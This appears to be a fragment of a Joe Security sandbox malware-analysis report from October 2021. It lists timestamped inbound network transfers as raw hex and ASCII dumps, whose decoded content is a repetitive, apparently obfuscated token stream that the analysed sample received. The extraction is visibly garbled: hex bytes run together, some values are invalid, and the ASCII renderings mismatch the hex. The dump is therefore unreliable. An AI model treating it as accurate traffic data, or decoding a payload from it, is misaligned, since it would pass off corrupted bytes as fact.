Data Ascii: t x kt x YE x Oxtx Qk x YO x QQ x RY x 000 x RY x RR x tx x Qk x OxQ x ko x kO x kQ x kt x Oxk x OOt x
Oxx X RY x RY x RY x Oxt x OOQ x tx x tK x Qk x OOx x Qx x OxK x Qk x tO x Oxk x Oxt x kQ x kk x ko x Oxk x kY x O
XxQ X kR x OXR x Oxx x RY x RY x RY x
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kBytes
Timestamp transferred

2021-10-29 18:30:03 UTC 2666

2021-10-29 18:30:03 UTC 2667

2021-10-29 18:30:03 UTC 2669

2021-10-29 18:30:03 UTC 2670

2021-10-29 18:30:03 UTC 2671

2021-10-29 18:30:03 UTC 2673

2021-10-29 18:30:03 UTC 2674

2021-10-29 18:30:03 UTC 2675

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 78 20 6b 6f 20 78 20 4f 78 51 20 78 20 59 74 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 74

7420 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 45 20 78 20 52 52 20 78 20 6b 6f 20 78 20 59 78 20 78 20

6b 52 20 78 20 4b 6b 20 78 20 6b 4b 20 78 20 6b 74 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 6b 59 20
78 20 4f 78 6b 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4b 51 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59

4f 20 78 20 6b 52 20 78 20 4f 4f 74 20 78 20 4f 78 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 6f 20 78
20 6b 4f 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 6b 4f 20 78 20 6b 51 20 78
20 6b 6b 20 78 20 74 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78

Data Ascii: x ko x OxQ x Yt x OxR x Oxx x kk x tt x RY x RY x Rk x tE x RR x ko x Yx x kR x Kk x kK x kt x kR x OOt x Ox

x X KY x Oxk x Kk x Qx x kt x KQ x Rk x Qk X YO x kR x OOt x Oxx X RY x RY x RY x ko x kO x tx x to x Qx x kk x ko x kO
x kQ x kk x tK x Oxk x Qk x

Data Raw: 74 20 78 20 74 78 20 78 20 4b 6b 20 78 20 51 78 20 78 20 6b 59 20 78 20 6b 6f 20 78 20 4f 4f 6f 20 78 20 6b
5120 78 20 6b 74 20 78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 78 20 78 20 4b 51 20 78 20 52 52 20 78 20 4f 78 4b 20
782051 51 20 78 20 4f 78 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 6b 52 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20
52 59 20 78 20 4f 6f 4f 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 74 78 20 78 20 51 6b 20 78 20 4f 4f 78 20 78 20 6b 52 20
78 20 4f 4f 52 20 78 20 6b 4f 20 78 20 59 78 20 78 20 4f 78 4b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 74 4f 20 78 20 6b
6f 20 78 20 6b 6b 20 78 20 51 74 20 78 20 6b 74 20 78 20 59 45 20 78 20 4f 78 74 20 78 20 51 6b 20 78 20 59 4f 20 78 20
4f 78 78 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20

Data Ascii: t x tx x Kk x Qx x kY x ko x OO0 x kQ x kt x Oox x OOk x Qx x KQ x RR x OxK x QQ x OxQ x tx x OOR x kR x
00Q x RY x RY x 000 x O0Q x RR x tx x Qk x OOx x kR x OOR x kO x Yx x OxK x OO0 x Qk x tO x ko x kk x Qt x kt x Y
E x Oxt x Qk x YO x Oxx x O00 x RY x

Data Raw: 20 78 20 52 59 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 74 78 20 78 20

6b 6f 20 78 20 4f 78 6b 20 78 20 4f 78 4f 20 78 20 74 6f 20 78 20 6b 6f 20 78 20 52 6b 20 78 20 51 6b 20 78 20 59 78 20

78 20 4f 6f 78 20 78 20 4f 4f 6b 20 78 20 51 51 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 51 74 20 78 20
4f 4f 51 20 78 20 74 78 20 78 20 74 6f 20 78 20 51 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 52 51 20 78 20 51 78 20 78
20 6b 6b 20 78 20 51 78 20 78 20 4f 4f 6f 20 78 20 6b 51 20 78 20 59 78 20 78 20 6b 52 20 78 20 52 6b 20 78 20 6b 51 20
7820 6b 6b 20 78 20 52 52 20 78 20 4f 6f 6f 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 78 20 78 20 52 51 20 78 20 6b
4520 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 6f 4f 20 78

Data Ascii: x RY x Oxk x tk x Oxk x Oxx X tx x ko x Oxk x OxO x to x ko x Rk x Qk x Yx x Oox x OOk x QQ x OXE x RY x

RY x Qt x O0Q x tx x to X Qx x kk x ko x RQ x Qx x kk x Qx x 000 x kQ x Yx x kR x Rk x kQ x kk x RR x O00 x RY x RQ x
Oxx X RQ x kE x kK x tt x 000 x

Data Raw: 78 20 6b 59 20 78 20 4f 78 51 20 78 20 6b 52 20 78 20 59 78 20 78 20 51 78 20 78 20 6b 6b 20 78 20 74 4b 20
7820 4b 6b 20 78 20 6b 52 20 78 20 74 4f 20 78 20 59 74 20 78 20 6b 4b 20 78 20 51 78 20 78 20 6b 74 20 78 20 4f 6f 78
2078 20 4f 78 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4b 45 20 78 20 52 59 20 78 20 52 51 20 78 20
74 6b 20 78 20 4f 4f 59 20 78 20 51 6b 20 78 20 59 4f 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 6b 59 20 78 20 59 78 20
78 20 6b 52 20 78 20 4f 6f 4f 20 78 20 4f 78 78 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 78 52 20 78 20 51 78 20
78 20 6b 59 20 78 20 4f 78 4b 20 78 20 4f 78 4b 20 78 20 51 6b 20 78 20 4f 78 51 20 78 20 6b 6f 20 78 20 4f 4f 59 20 78
2051 78 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78

Data Ascii: x kY x OxQ X kR x Yx x Qx x kk x tK x Kk x kR x tO x Yt x kK x Qx x kt x Oox x OxQ x RY x RY x RY x KE x RY
X RQ x tk x OOY x Qk x YO x tk x Oxk x KY x Yx x kR x 000 x Oxx x OxQ x Oxk x OxR x Qx x kY x OxK x OxK x Qk x
OxQ x ko x OOY x Qx x kO x RY x RY x

Data Raw: 6f 20 78 20 4f 78 51 20 78 20 4f 78 6b 20 78 20 4f 4f 59 20 78 20 51 78 20 78 20 6b 52 20 78 20 51 51 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 52 52 20 78 20 6b 59 20 78 20 59 78 20 78 20 4f 78 4b
20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f 20 78 20 74 4f 20 78 20
6b 52 20 78 20 4f 78 52 20 78 20 4f 78 78 20 78 20 6b 6b 20 78 20 6b 6f 20 78 20 4f 78 6b 20 78 20 6b 6f 20 78 20 6b 6b
20 78 20 4f 78 4b 20 78 20 6b 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 52 20 78 20 6b 59 20 78 20
59 78 20 78 20 4f 78 4b 20 78 20 4f 78 6b 20 78 20 51 6b 20 78 20 74 4f 20 78 20 4f 6f 78 20 78 20 74 78 20 78 20 4f 78 4f
20 78 20 74 4f 20 78 20 6b 52 20 78 20 4f 78 52 20

Data Ascii: 0 x OxQ x Oxk x OOY x Qx x kR x QQ x RY x RY x RY x OO0 x RR x kY x Yx x OxK x Oxk x Qk x tO x Oox x
tx X OxO X tO X kR x OXR x Oxx x kk x ko x Oxk x ko x kk x OXK x kk X RY x RY x OOY x RR x kY x Yx x OxK x Oxk x Qk
X tO x Oox X tx X OxO x tO x kR x OxR

Data Raw: 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
2078 20 5259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
5920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
5259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78

Data Ascii: RY X RY X RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY X RY X RY X RY x RY x RY X RY X RY x
RY x RY x RY X RY x RY X RY x RY X RY x RY X RY x RY X RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
RY x RY x RY x RY x RY x RY x RY x RY x RY x

Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
20525920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 4f
78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20

Data Ascii: Y X RY X RY x RY x RY X RY X RY X RY x RY X RY X RY X RY x RY x RY X RQ X RY x RY x RY X RY x kY x
RY X RY X RY X RY X RY x RY X RY X RY x RY x RY x kO x RY x RY x RY x RY x tO X RY X RY X RY x RY x RY X RY X
RY X RY X RY x to x OXE x RY X RY x RY x Rt x

Data Raw: 51 20 78 20 59 52 20 78 20 6b 4b 20 78 20 74 74 20 78 20 4f 4f 51 20 78 20 4f 4f 59 20 78 20 4f 6f 6f 20 78 20
74 52 20 78 20 4f 6f 6f 20 78 20 4f 78 6f 20 78 20 4f 4f 4b 20 78 20 4f 78 4f 20 78 20 4f 6f 78 20 78 20 74 45 20 78 20 6b
6b 20 78 20 6b 45 20 78 20 4f 78 6b 20 78 20 4f 4f 4f 20 78 20 4f 78 59 20 78 20 6b 4b 20 78 20 4f 78 74 20 78 20 4f 4f 45
20 78 20 59 4b 20 78 20 4f 4f 4f 20 78 20 59 4f 20 78 20 4f 4f 6b 20 78 20 6b 78 20 78 20 4f 4f 6b 20 78 20 59 45 20 78 20
4b 45 20 78 20 4f 4f 6b 20 78 20 4f 6f 78 20 78 20 4b 74 20 78 20 6b 78 20 78 20 74 52 20 78 20 4f 78 4b 20 78 20 4f 4f 52
20 78 20 74 52 20 78 20 4b 74 20 78 20 4b 51 20 78 20 4f 4f 74 20 78 20 74 52 20 78 20 52 74 20 78 20 4f 78 4b 20 78 20
Af 4f 4f 20 78 20 4f 4f 4b 20 78 20 4f 6f

Data Ascii: Q x YR x kK x tt x OOQ x OOY x 000 x tR x 000 x Oxo x OOK x OxO x Oox x tE x kk x kE x Oxk x OO0 x OxY
x kK x Oxt x OOE x YK x OO0 x YO x OOk x kx x OOk x YE x KE x OOk x Oox x Kt x kx x tR x OxK x OOR x tR x Kt x KQ
x OOt x tR x Rt x OxK x OO0 x OOK x Oo
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Timestamp transferred Direction Data

2021-10-29 18:30:03 UTC 2677 IN Data Raw: 78 20 4b 45 20 78 20 4f 4f 52 20 78 20 59 59 20 78 20 52 51 20 78 20 4f 78 4b 20 78 20 4f 78 78 20 78 20 74
59 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 74 4b 20 78 20 74 51 20 78 20 6b 45 20 78 20 4f 4f 4b 20 78 20 4f 4f 45 20
78 20 4f 78 52 20 78 20 4f 78 4f 20 78 20 59 52 20 78 20 4b 45 20 78 20 4b 74 20 78 20 4f 4f 78 20 78 20 59 4b 20 78 20
4b 74 20 78 20 74 6f 20 78 20 59 52 20 78 20 59 52 20 78 20 4f 4f 74 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 4f 4f 6b 20
7820 4b 74 20 78 20 6b 74 20 78 20 59 6f 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 4f 20 78 20 4f 78 59 20 78 20 4f 4f
6b 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 4f 4f 6b 20 78 20 4f 4f 4f 20 78 20 59 4b 20 78 20 4f 78 51 20 78 20 59 4b
20 78 20 4f 4f 74 20 78 20 59 59 20 78 20 4f 78 59 20
Data Ascii: x KE x OOR x YY x RQ x OxK x Oxx x tY x kt x OxY x tK x tQ x kE x OOK x OOE x OxR x OxO x YR x KE x Kt
X OOx x YK x Kt x to x YR X YR x OOt x tO x Kk x OOk x Kt x kt X Yo x OOY x tY x tO x OxY x OOk x tR x OxQ x OOk x
000 x YK x OxQ x YK x OOt x YY x OxY

2021-10-29 18:30:03 UTC 2678 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59

20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59

Data Ascii: X RY x RY x RY x RY x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x RY x RY x RY x RY x RY
X RY X RY x RY x RY X RY x RY x RY x RY X RY x RY X RY x RY X RY x RY X RY x RY X RY x RY X RY x RY X RY x RY
X RY X RY X RY x RY x RY x RY x RY x RY X RY

2021-10-29 18:30:03 UTC 2679 IN Data Raw: 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
20525920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
207820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

Data Ascii: Y x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x RY x RY x RY X RY x RY X RY X RY x RY x
RY x RY X RY X RY x RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY X RY x RY X RY x RY X RY x RY x
RY x RY X RY X RY X RY X RY X RY X RY X RY xR

2021-10-29 18:30:03 UTC 2681 IN Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45
207820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 52 20 78 20 4f 4f 74 20
78 2052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59
20 78 20 4f 78 45 20 78 20 74 45 20 78 20 6b 59 20 78 20 52 59 20 78
Data Ascii: X RY x RY x RY x kO X RY X RR x RY x RY x RY X RY xtY X RY X tE x RY x OXE X RY x RY X RY x RY x RY x
RY x RY x RY X RY x RY X RY x RR X RY x RY X RY x RY X RY x RY X RY x RY x O0OQ x RR x OOt x RY x RY x RY x
RY X kO X RY X tE X RY x OXE x tE x kY x RY x

2021-10-29 18:30:03 UTC 2682 IN Data Raw: 20 74 6b 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
2052 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 52 6b 20 78 20 52 59 20 78 20 74
45 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78
205259 20 78 20 74 74 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 51 20 78 20 52 59 20 78 20 52 59 2
078205259 20 78 20 52 6b 20 78 20 6b 51 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 52 74 20 78 20 52 59 20 78 20 74
4b 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
Data Ascii: tk x RY x RY x RQ X RY X RY x RY x Rt x kO x RY x O0Q x Rt X RY X tE x RY x RY X RY X RY x tY x OXE x
Rk x RY x tE x RY X OxR X RY X RY X RY x RY x O0Q x RY x tt x RY x OXE X Rt x kQ x RY x RY x RY X Rk x kQ x RY x
00Q x Rt x RY x tK x O0OQ x RY x RY x RY

2021-10-29 18:30:03 UTC 2683 IN Data Raw: 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 4f 78 45 20 78
2074 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f
2078 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
51 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20
525920782074 78 20 78 20 52 59 20 78 20 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78
20525920 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
Data Ascii: RY x kO X RY X RY x RY x Rt x OXE X tx X RY X tE x RY x RY X RY X RY x RY X RY X RY X RY x RY X RY x
RY x RY x kO X RY X RY x RY X RY x RY X RY x RY X RQ x RY x RY x kO x RY X RY X RY X RQ X RY x tx x RY X tE x RY
X RY X RY X RY X RY X RY X RY X RY x RY

2021-10-29 18:30:03 UTC 2684 IN Data Raw: 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 59 20 78 20 4f 78 45 20 78 20 74 78
20782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78
2052 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20
7820 74 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
Data Ascii: x kO x kO x RY X RY x tY x OXE x tx X RY X RY X RY x RY x RY X RY x RY x RY x RY X RY X RY x RY x RY X
RY x kO x RY X RY x RY X RY X RY x RY x RY x RQ x RY x Rk x kO x kO x RY x RY X tR x OXE x tx X RY x RY x RY X
RY x RY x RY X RY x RY X RY x RY X RY x

2021-10-29 18:30:03 UTC 2686 IN Data Raw: 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59
20 7820 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 45 20 78 20 74
4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20
52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 2
0525920 78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20
78 20 52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52
Data Ascii: X RY x RY x RY x RY x RY x kO x RY x RY x RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY
X Rk x OXE x tO x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x kO x RY X RY X RY x RY
X RY x RY x RY x RQ x RY x Rt x kO x kO x R
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kBytes
Timestamp transferred

2021-10-29 18:30:03 UTC 2687

2021-10-29 18:30:03 UTC 2688

2021-10-29 18:30:03 UTC 2690

2021-10-29 18:30:03 UTC 2691

2021-10-29 18:30:03 UTC 2692

2021-10-29 18:30:03 UTC 2694

2021-10-29 18:30:03 UTC 2695

2021-10-29 18:30:03 UTC 2696

Copyright Joe Security LLC 2021

Direction

IN

Data

Data Raw: 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 4f 78 45 20 78 20 74 4f 20

78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52

59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20
52 59 20 78 20 52 74 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 74 20 78 20 4f 78 45 20 78
20 74 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20

782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52

Data Ascii: x kO x kO x RY x RY x tR x OXE x tO x RY x RY x RY X RY X RY x RY x RY X RY X RY x RY x RY X RY x RY x
RY x kO x RY x RY X RY x RY x RY x RY x RY x RQ x RY x Rt x kO x kO x RY x RY x tt x OXE x tO x RY x RY x RY x RY
X RY XRY x RY X RY X RY X RY X RY xR

Data Raw: 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78
205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 52 59 20
78 2052 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78 20 4f 78 45 20 78 20 74 6f
20 7820 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52
59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 4f 20 78 20 5
2592078205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 51 20 78
2052 59 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 6b 4f 20 78 20 52 59

Data Ascii: X RY X RY x RY X RY x RY x kO x RY x RY X RY X RY X RY X RY x RY x RQ x RY x Rk x kO x kO x RY x RY x
RQ x OXE x to X RY X RY X RY X RY X RY x RY X RY X RY X RY X RY X RY x RY x RY x RY x kO x RY x RY x RY x RY x
RY x RY x RY x RQ x RY x Rk x kO x kO x RY

Data Raw: 20 78 20 52 59 20 78 20 59 45 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782052 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 74 20 78 20 4f
78 4520 78 20 74 45 20 78 20 52 59 20 78 20 4f 4f 4f 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
782074 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59
20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 4f 4f 59 20 78 20 52 74 20 78 20
52 59 20 78 20 74 4b 20 78 20 6b 51 20 78 20 52 74 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4f 78 74 20 7
820525220 78205259 20 78 20 52 59 20 78 20 52 59 20 78 20

Data Ascii: X RY x YE X RY x kO x RY x RY x RY x RY x RY x RY x RY x Rk x Oxt x Rt X OXE x tE X RY x OO0 x OXE x
RY x RY x RY x tQ x kO x RQ X RY x RY X RY X RY x RY X RY x RY x RY x OxY x RY x OOY x Rt x RY x tK x kQ x Rt x
RY X RY X Rk x Oxt X RR x RY x RY x RY x

Data Raw: 78 20 4f 4f 59 20 78 20 74 45 20 78 20 4f 78 45 20 78 20 74 45 20 78 20 52 59 20 78 20 74 52 20 78 20 52 59

207820 74 45 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 6b 4f 20 78 20 52 51 20 78 20 52 59 20 78 20 52

59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 74 20 78 20

52 74 20 78 20 6b 4f 20 78 20 52 74 20 78 20 52 59 20 78 20 74 52 20 78 20 74 45 20 78 20 52 52 20 78 20 52 59 20 78 2
0525920 78 20 52 6b 20 78 20 4f 78 74 20 78 20 52 52 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20
78205259 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 4f 51 20 78 20 4f 78 51 20 78 20 52
59 20 78 20 4f 78 45 20 78 20 52 74 20 78 20 6b 74 20 78 20 52 59

Data Ascii: x OOY x tE x OXE x tE x RY X tR x RY X tE x RY x RY x tQ x kO x RQ x RY x RY x RY x RY x RY x RY x RY x
RY x kt x Rt x kO X Rt x RY x tR X tE x RR X RY X RY X Rk X Oxt x RR X RY X RY X RY x RY X RY X RY x RY X RY X RY x
00Q x OxQ x RY x OXE x Rt x kt x RY

